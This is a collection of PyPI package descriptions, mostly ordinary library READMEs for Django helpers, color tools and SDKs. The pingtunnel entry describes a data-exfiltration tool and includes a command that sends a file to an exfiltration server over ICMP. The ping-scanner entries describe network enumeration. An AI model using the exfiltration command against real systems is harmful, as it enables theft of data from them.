Saravanan666/pypi-org huggingface dataset:
Package: pingpong
`pingpong` is a library to aimed at simplifying things thing that should be easyin django.## Installation ##1. Install lib with pip:`pip install pingpong`**- OR -**Put the "pingpong" directory somewhere in your python path2. Add "pingpong" to your installed apps (in the settings.py file)## A better way to fire off emailsfrom pingpong.email import render_to_emaildef some_function():template = "emails/muffins.email"context = { "your_mom": "Betty Crocker", "muffin_type": "blueberry" }recipients = ['somebody@example.com']# send an email!render_to_email(template, context, recipients)And the template, `emails/my_email_template.email` would be in your maintemplates folder:Delicious muffins thanks to {{ your_mom }}Hi friend,I'm writing to let you know that {{ your_mom }} made some superb{{ muffin_type }} muffins. Please tell her thank you!Thanks,A RobotThe first non-blank line is the subject, everything following is the message.Subject:Delicious muffins thanks to Betty CrockerMessage:I'm writing to let you know that Betty Crocker made some superbblueberry muffins. Please tell her thank you!Thanks,A RobotWhitespace is stripped from the beginning and end of the message.## Passing system events to your appset up listeners:# listeners.pyfrom pingpong.utils import pong@pong("dailycron")def email_admins_about_daily_activity(ping_name, args, kwargs, **kw):...# models.py... your models...import listenersThen you trigger all functions listening to "dailycron" like so:$ python manage.py pong dailycronIf you pass extra args to the management command they will get passed along...$ python manage.py pong cachecleared memcache:38174In this case we're letting the app know that memcache on port 38174 just gotcleared.from pingpong.utils import pong@pong("cachecleared")def warm_up_cache(ping_name, args, kwargs, **kw):assert ping_name == "cachecleared"assert args[0] == "memcache:38174"cache_type, port = args[0].split(":")...
Package: pingpongsdk
PingPong Python SDKExamplefrompingpongsdkimportPingPongfrompingpongsdk.deployments.modelimportCreateDeploymentpingpong=PingPong()deployment=pingpong.deployments.create(deployment=CreateDeployment(name="example-deployment",model='pingpongai/ai-image-scan',args={'input_image_file':'https://cdn.mediamagic.dev/media/eb341446-be53-11ed-b4a8-66139910f724.jpg',}))
Package: pingpower.coolblue
Coolblue is a visual theme for plone 4 (we have another coolblue visual theme for plone 3.Coolblue is based on DIYPloneStyle 3.0, a skeleton product
ready for building new graphical designs for Plone.Coolblue is a theme product , it bases on the blog template of CoolBlue designed by styleshout,
So it can be used like a personal blog (its also a plone4 theme ) by using ‘blog_view’ as the default view ,
In the front page can display the latest published documents of all types orderd by date.The other blog functions are still in development and will be accomplished in the next version.
Package: pingscan
IntroMy attempt at making a ping scanner using python.Basically I needed a good tool to quickly scan large IP ranges, so I rolled my own.Packet building is in cython, sending the packets is done with multiprocessing, while receiving and processing is done in async.At the moment only working on Linux, for IPv4.Code is probably quite rough around the edges, and while I don’t expect it to break dramatically, you could encounter
issues. Feel free to report anything.InstallationTo install first make sure you have the required header files to compile the C extensions:Apt (Ubuntu, Debian):sudoapt-getinstallpython3-devYum (CentOS, RHEL):sudo yum installpython36-develThen install from pypi as usual:pip install pingscanUsageYou need root or CAP_NET_RAW to send pingsYou can scan either a combination of ip/netmask, or a list of networks in shortened form (e.g. ‘192.168.0.0/24’)import pingscanpingscan.scan('192.168.0.0','255.255.255.0')ORpingscan.scan(['192.168.0.0/24','192.168.1.0/24','127.0.0.1'])Will return a list of ip addresses that answered the ping - e.g. [‘192.168.0.1’, ‘192.168.0.2’]Contributions/FeedbackFeel free to comment, report issues, give feedback or contribute in any wayFeature requests are also welcomeNot supportedMultithreading and multiprocessing - possible, but I didn’t see a reasonResponse time of each host - if anyone requests this I can add itPerformance TuningSome generic commands in case you run into trouble with linux sockets and the netstackIncreasing socket read and write memory:sysctl-wnet.core.wmem_max=134217728sysctl-wnet.core.rmem_max=134217728If you’re going for a large local segment with > 256 hosts you may need to configure this (so you ARP table doesn’t fill up)
(feel free to play with these values)net.ipv4.neigh.default.gc_thresh1 = 4096net.ipv4.neigh.default.gc_thresh2 = 8192net.ipv4.neigh.default.gc_thresh3 = 65535
Package: ping-sdk
Ping Payments Python SDKThe Ping Payments Python SDK manages thePing Payments APIandPing Payment Links API.Table of contentsRequirementsInstallationDocumentationPing Payments APIPing Payment Links APIUsageRequirementsThe Ping Payments Python SDK supports the following versions of Python:Python 3, versions 3.7 and laterInstallationInstall the latest Ping Payments Python SDK using pip:pipinstallping-sdkDocumentationThe Ping Payments Python SDK documentation contains complete information to be able to work with the SDK. Go toPython SDK documentationfor the full documentation.Ping Payments APIThe Ping Payments API is implemented as thePaymentsApiclass contains a number of endpoints.Ping Payments API EndpointsMerchantPayment OrdersPaymentPayoutPingPing Payment Links APIThe Ping Payments API is implemented as thePaymentLinksApicontains a number of endpoints.Ping Payment Links API EndpointsPayment LinkInvoiceReceiptUsageGet a tenant IDPing Payments provides you with atenant IDand are used for resource permissions.Important:Make sure you store and access the tenant ID securely.InstructionsImport the PaymentsApi class from the Ping module:fromping.payments_apiimportPaymentsApiInstantiate a PaymentsApi object and initialize it with the tenant ID and the environment that you want to use.Initialize the PaymentsApi in production mode:payments_api=PaymentsApi(tenant_id='55555555-5555-5555-5555-555555555555')Initialize the PaymentsApi in sandbox mode, for testing:payments_api=PaymentsApi(tenant_id='55555555-5555-5555-5555-555555555555',environment='sandbox')Make callsWork with the API by by choosing a Endpoint and calling it´s methods.For example, you can choose the endpointmerchantsand call the methodlist()to a list of all merchants connected to a tenant:result=payments_api.merchant.list()Handle the responseCalls to the Ping Payments API endpoint methods returns an ApiResponse object. Properties of the ApiResponse object contains information regarding request(headers and request)and the response(status_code, reason_phrase, text, errors, body, and cursor).Using the response:Check whether the response succeeded or failed. Two helper methodsis_success()andis_error()in the ApiResponse object determine the success or failure of a call:ifresult.is_success():# Display the successful response as textprint(result.text)elifresult.is_error():# Display the error responseprint(f"Errors:{result.errors}")
Package: pingspice
Thepingspicepackage isP**ython **in**tegrated with **Ngspice.It provides a fast, compact object-oriented circuit construction and
SPICE simulation framework using Twisted and Ngspice. Netlists are
produced from components and subcircuits using a powerful
context-calling setup. A single instance of Ngspice is kept running in
pipe mode for each parallel processing branch, communicated with
asynchronously via STDIO and Twisted.
Package: ping-stat
PingPingAn internet ping-time monitorProject GoalsCreate a real-time ping-time monitor with several in-depth features:Keep track of ping times to a particular destination, as well asTrack ping-time averages over a specified time-periodLog every ping time to local storageSend OS notifications on several trigger events:Average ping time exceeds settingMore thannfailed pings in a rowAdvanced UsageComing soon!
Package: pingsweep
# pingsweepLightweight Pingsweeper - quickly ping many hosts# DescriptionThis utility provides a simple interface allowing a user to quickly ping a large group of hosts by IPv4 address or by hostname.============================================- begin enumeration on unknown networks- check connectivity of a list of networked devices- define a custom ping timeout for faster or more thorough scans- default output is in a list-friendly format# Usagepingsweep [options] ip_range=============================```pingsweep -hUsage: pingsweep [options] ip_rangeExamples:pingsweep 10.0.0.0/24pingsweep 10.0.0.0-255pingsweep 10.0.0.0 10.0.0.255Options:-h, --help                    show this help message and exit-d, --debug                   display all pings, failed and successful-l IP_FILE, --list=IP_FILE    define a text file of one IP per line to ping-n, --hostnames               Attempt to resolve hostnames for successful pings-r, --reverse                 display failed pings instead of successful pings-t TIMEOUT, --timeout=TIMEOUT define a ping timeout in miliseconds (default is 200)-v, --verbose                 include fping statistics for each ping```# Installationpingsweep is available as an installable python module. Try running:```pip install pingsweep```Or you can download and run pingsweep.py from this repo.
Package: pingtop
Ping multiple servers and show the result in a top like terminal UI.Installpip install pingtop** pingtop support Python3.8 Python3.8. **There is a dependency (blist <http://stutzbachenterprises.com/blist/>) not supporting Python3.9, so please pingtop can’t support 3.9.UsageThen ping mutiple server:pingtop baidu.com google.com twitter.comThis project is usingclick. Check help info
withpingtop-h.~ pingtop --help
Usage: pingtop [OPTIONS] [HOST]...

Options:
  -s, --packetsize INTEGER        specify the number of data bytes to be sent.
                                  The default is 56, which translates into 64
                                  ICMP data bytes when combined with the 8
                                  bytes of ICMP header data.  This option
                                  cannot be used with ping sweeps.  [default:
                                  56]
  -l, --logto PATH
  -v, --log-level [DEBUG|INFO|WARNING|ERROR|CRITICAL]
  --help                          Show this message and exit.Why do I getPermission denied?We use ICMP socket to send ping packet withoutsudo(Seethis
postby lilydjwg(in Chinese)), however, who(which group) can use this feature
is controled by a kernel parameter:net.ipv4.ping_group_range.cat /proc/sys/net/ipv4/ping_group_range

1    0The default value is1 0, this means the whose group number from 1
to 0 can use this feature(which means nobody can use this), so you get a
Permission denied .To fix this, change this variable to a proper range include your group
id, like this:[vagrant@centos7 pingtop]$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[vagrant@centos7 pingtop]$ sudo sysctl -w net.ipv4.ping_group_range='0 1001'
net.ipv4.ping_group_range = 0 1001CreditsFor the credits of ping.py’s implementation please referping.py.The UI was built onpanwidthanks to @tonycpsu.@gzxultrahelped to solve the
permission issues.
Package: pingtunnel
DisclaimerUsage of this tool for educational or authorized use only and at your own responsibility.DescriptionTest possible data exfiltration through ping requestsInstallationpip install pingtunnelUsageFrom command line:python -m pingtunnel --path PATH --target TARGET --interval INTERVALOptionShortTypeDefaultDescription--path-pString-Path to file to be exfiltrated--path-pString-IP of exfiltration server--interval-iFloat1.0Nr of seconds between pingsExamplepython -m pingtunnel -p ./example.jpg -t 10.10.10.10Make sure to usetcpdumporwiresharkon the exfiltration server in
order to capture the ping requests################################################################################

pingtunnel by 5f0
Test possible data exfiltration through ping requests

Current working directory: path/to/pingtunnel

Datetime: 01/01/1970 10:11:12

################################################################################

Status
---
    Exfiltration Server: 10.10.10.10
 File to be exfiltrated: ./example.jpg

  Total Number of Bytes: 1094
Number of Ping Requests: 35.0
 Interval between Pings: 1.0 seconds


Execution
---
-> Split ./example.jpg in 35.0 chunks
-> Send chunks


--> Transmission successful!

################################################################################

Execution Time: 0.014563 secLicenseMIT
Package: pinhop
PinhopTimehop for Pinboard.Get pinboard posts from a previous month or day as a pinboard-style web page.Installationpip install pinhopUsageUsage: pinhop [OPTIONS]

  Get pinboard posts from a previous month or day. By default, writes posts
  from this month one year ago to pinhop.html.

Options:
  -y, --yearsago INTEGER          Number of years ago this month  [default: 1]
  --token TEXT                    Pinboard API token (see
                                  https://pinboard.in/settings/password).
                                  Required if PINBOARD_TOKEN environment
                                  variable not set.
  --out TEXT                      Output file  [default: pinhop.html]
  --date TEXT                     Get posts for particular month (YYYY-MM
                                  format) or day (YYYY-MM-DD) (overrides y)
  --browse / --no-browse          Load output file in browser when finished
                                  [default: no-browse]
  --install-completion [bash|zsh|fish|powershell|pwsh]
                                  Install completion for the specified shell.
  --show-completion [bash|zsh|fish|powershell|pwsh]
                                  Show completion for the specified shell, to
                                  copy it or customize the installation.
  --help                          Show this message and exit.
Package: piniverse
PiniversePiniverse is a simple library to programmatically orchestrate function calls for Python.Table of contentsFeatures SupportPrerequisitesGetting StartedLimitationsContributionsFeatures SupportExecution of pinned functions inside a python package in topological orderingVisualization of the directed acyclic graphPrerequisitesPython 3.7Getting StartedInstallation$ pip install piniverseBasic UsagePiniverse inspects pinned functions inside a package..
├── workspace/   <-- workspace directory
├── script.py    <-- script fileTo orchestrate your desired functions, pin them! Every pinned function has a task identifier, and if applicable, a succeeding toward identifier.# workspace/

from piniverse import Pinned


@Pinned(
  task='1',
  toward='2', 
  arguments={
    args: ['Hello World']
    kwargs: {'content': 'Programming exercise...'}
  }
)
def simple_print(title: str, content: str = '') -> None:
  message = """
    Title: {}
    Content: 
      {}
  """.format(title, content)
  
  print(message)


@Pinned(
  task='2',
  arguments={
    args: ['A pretty Hello World']
    kwargs: {'content': 'A pretty programming exercise!'
  }
)
def pretty_print(title: str, content: str = '') -> None:
  message = """
    Pretty Title: {}
    Pretty Content: 
      {}
  """.format(title, content)

  print(message)To execute your pinned functions, plan and apply!# script.py

import piniverse
import workspace


piniverse.plan(workspace)
piniverse.apply()

// Title: Hello World
// Content: 
//   Programming exercise...
// Title: A pretty Hello World
// Content:
//   A pretty programming exerciseUser InterfacePiniverse also provides a straightforward visualization of your task definitions.# script.py

pinverse.plan(workspace, plan_view=True)LimitationsPresently, Piniverse solely supports standalone functions.ContributionsContributions are more than welcome! Check out thecontribution documentation.
Package: pink_accents
pink-accentsAccent system based on string pattern matching.This is a silly accent system inspired by Space Station 13 accents, based on popular stereotypes. There is no intent in offending anyone or any culture. Maybe this thing has other uses, we'll see.
In it's core it's basically a re.sub call.This was a part of PINK Discord bot originally:https://github.com/Fogapod/pinkExamples of accents can be found inexamplesfolder.Console interfaceusage:pink_accents[-h][-pACCENT_PATH][-V][accent...]Interactiveaccentsession.

Startsinteractivesessionifusedwithoutarguments.
Listsaccentsifnoaccentsprovided.

positionalarguments:accentaccentwithseverity

options:-h,--helpshowthishelpmessageandexit-pACCENT_PATH,--accent-pathACCENT_PATHwheretolookforaccents,defaultstolocalexamplefolder-V,--versionshowprogram'sversionnumberandexit
Package: pinkboto
pinkbotoA Colorful AWS SDK wrapper for PythonInstallpipinstallpinkbotoUsageimportpinkbotoaws=pinkboto.aws(profile='production',region='us-east-1')selector={'resource':'aws_db_instance'}projection=['DBInstanceIdentifier','Endpoint']rds=aws.find(selector,projection)CachingBy default, pinkboto caching all requests with 120 seconds lifespan.To disable:aws=pinkboto.aws(profile='production',region='us-east-1',cache=False)To modify lifespan to 1 hour:aws=pinkboto.aws(profile='production',region='us-east-1',cache=3600)AWS Lambda usageWhen using pinkboto in an AWS Lambda it is important to change the cache folder
to the /tmp writable folder.aws=pinkboto.aws(profile='production',region='us-east-1',cache=3600,cache_folder='/tmp/pinkboto')Subfield projectionYou can access a subfield in projection. For example 'Endpoint.Address' in rdsrds=aws.find({'resource':'aws_db_instance'},['Endpoint.Address','AvailabilityZone'])CSV outputpinkboto.to_csv(rds,'result.csv')pypi package publishupdatesetup.pyversion.
python3setup.pysdist
twineuploaddist/pinkboto-${new-version}.tar.gzContributingPull requests for new features, bug fixes, and suggestions are welcome!LicenseGNU General Public License v3 (GPLv3)Developer install requirementspre-commitinstall
Package: pinkie
pinkieAll-in-one solution for color management.FeaturesSimple and pythonic way to manage colorsMultiple models (RGB,HSL,CMYK,HEX) and conversionsPalettes, schemes and color generatorsColor blending with many modesSupports alpha (transparency) channelInstallationTo install this package, run the following command:pip install pinkieUsageGet startedYou can define colors like below.ColorequalsRGBAcolor.frompinkieimportColorcolor=Color('c0ffee')Initialize colorsYou can create colors in different ways:Color((244,11,58))# rgb tuple, alpha is set to 255Color((244,11,58,215))# rgba tupleColor('#ff53a7')# hex value ('#' is automatically stripped)Color('ff53a7f6')# hex value with alphaColor(43252667)# int valueHSLA((259,94,47)).to_rgba()# hsl value...and define colors with another bit count per channel:Color((34832,632,65103),bits=16)# rgb tupleColor('ff53a7cc671a',bits=16)# hex valueColor('ff53a7cc671a12e3',bits=16)# hex value with alpha...Color conversionsColor models can be converted toRGBAand back:Color('ff00ff').to_hsla()Color('157cc3').to_cmyk()HSLA('44c26b').to_rgba()...Color blendingYou can blend colors like in Photoshop:importpinkie.blendasblendfrompinkieimportColorbg=Color('ffd015ff')fg=Color('ff15bd80')bg.blend(fg,blend.Normal)# FF7269FFand create your own blending mode:classMyBlend(blend.BlendMode):defblend(self,bg:float,fg:float,bg_a:float,fg_a:float)->float:returnbg*fgbg.blend(fg,MyBlend)Harmonic colorsThere are various methods to get harmonic colors:color.complementary()# complementary colorcolor.triadic()# list of triadic colorscolor.closest([Color('ffffff'),Color('000000')])# closest color from the list...Color palettesPalettes are just sequences of colors. You can manage them like this:frompinkieimportColor,Palettepalette=Palette([Color('ffffff'),Color('4c66a1')])palette.add(Color('16c235'))palette.remove(Color('ffffff'))Palette.web()# palette of web-safe colorsPalette.gradient(Color('ff0000'),Color('0000ff'),5)# palette of colors that create gradient from red to blue...
Package: pinkman
PinkmanTo use pinkman, follow the following steps:Create a python virtual environment or use system wide environment$ python3 -m venv venv
$ source venv/bin/activateInstall pinkman package with pip.$ pip install pinkmanCreate the config file.server:
  hostname: localhost
  port: 1025

cache:
  type: sqlite
  path: /tmp/pinkman.db

backend:
  type: http
  method: post
  url: https://pinkman.free.beeceptor.com
  apikey: 5ab99869-f403-4481-bed6-da7c8aad7521Run the pinkman server.$ pinkman server run -c /etc/config.prod.ymlRun the pinkman worker.$ pinkman worker run -c /etc/config.prod.ymlForward packets from port 1025 to port 25.$ iptables -t nat -A PREROUTING -p tcp --dport 1025 -j REDIRECT --to-port 25Create an A entry which points to the IP address of your server.$ [ A ] [ smtp.orangutan.com ] [ x.x.x.x ]Create an MX entry, which points back to the A entry above$ [ MX ] [ orangutan.com ] [ smtp.orangutan.com ]
Package: pink-noise-rl
Colored Action Noise for Deep RLThis repository contains easy-to-use implementations of pink noise and general colored noise for use as action noise in deep reinforcement learning. Included are the following classes:ColoredNoiseProcessandPinkNoiseProcessfor general use, based on thecolorednoiselibraryColoredActionNoiseandPinkActionNoiseto be used with deterministic policy algorithms like DDPG and TD3 in Stable Baselines3, both are subclasses ofstable_baselines3.common.noise.ActionNoiseColoredNoiseDist,PinkNoiseDistto be used with stochastic policy algorithms like SAC in Stable Baselines3MPO_CNfor using colored noise (incl. pink noise) with MPO using the Tonic RL library.For more information, please see our paper:Pink Noise Is All You Need: Colored Noise Exploration in Deep Reinforcement Learning(ICLR 2023 Spotlight).InstallationYou can install the library via pip:pip install pink-noise-rlNote: In Python, the import statement is simplyimport pink.UsageWe provide minimal examples for using pink noise on SAC, TD3 and MPO below. An example comparing pink noise with the default action noise of SAC is included in theexamplesdirectory.Stable Baselines3: SAC, TD3importgymfromstable_baselines3importSAC,TD3# All classes mentioned above can be imported from `pink`frompinkimportPinkNoiseDist,PinkActionNoise# Initialize environmentenv=gym.make("MountainCarContinuous-v0")seq_len=env._max_episode_stepsaction_dim=env.action_space.shape[-1]SAC# Initialize agentmodel=SAC("MlpPolicy",env)# Set action noisemodel.actor.action_dist=PinkNoiseDist(seq_len,action_dim)# Train agentmodel.learn(total_timesteps=100_000)TD3# Initialize agentmodel=TD3("MlpPolicy",env)# Set action noisenoise_scale=0.3model.action_noise=PinkActionNoise(noise_scale,seq_len,action_dim)# Train agentmodel.learn(total_timesteps=100_000)Tonic: MPOimportgymfromtonicimportTrainerfrompinkimportMPO_CN# Initialize environmentenv=gym.make("MountainCarContinuous-v0")seq_len=env._max_episode_steps# Initialize agent with pink noisebeta=1model=MPO_CN()model.initialize(beta,seq_len,env.observation_space,env.action_space)# Train agenttrainer=tonic.Trainer(steps=100_000)trainer.initialize(model,env)trainer.run()CitingIf you use this code in your research, please cite our paper:@inproceedings{eberhard-2023-pink,title={Pink Noise Is All You Need: Colored Noise Exploration in Deep Reinforcement Learning},author={Eberhard, Onno and Hollenstein, Jakob and Pinneri, Cristina and Martius, Georg},booktitle={Proceedings of the Eleventh International Conference on Learning Representations (ICLR 2023)},month=may,year={2023},url={https://openreview.net/forum?id=hQ9V5QN27eS}}If there are any problems, or if you have a question, don't hesitate to open an issue here on GitHub.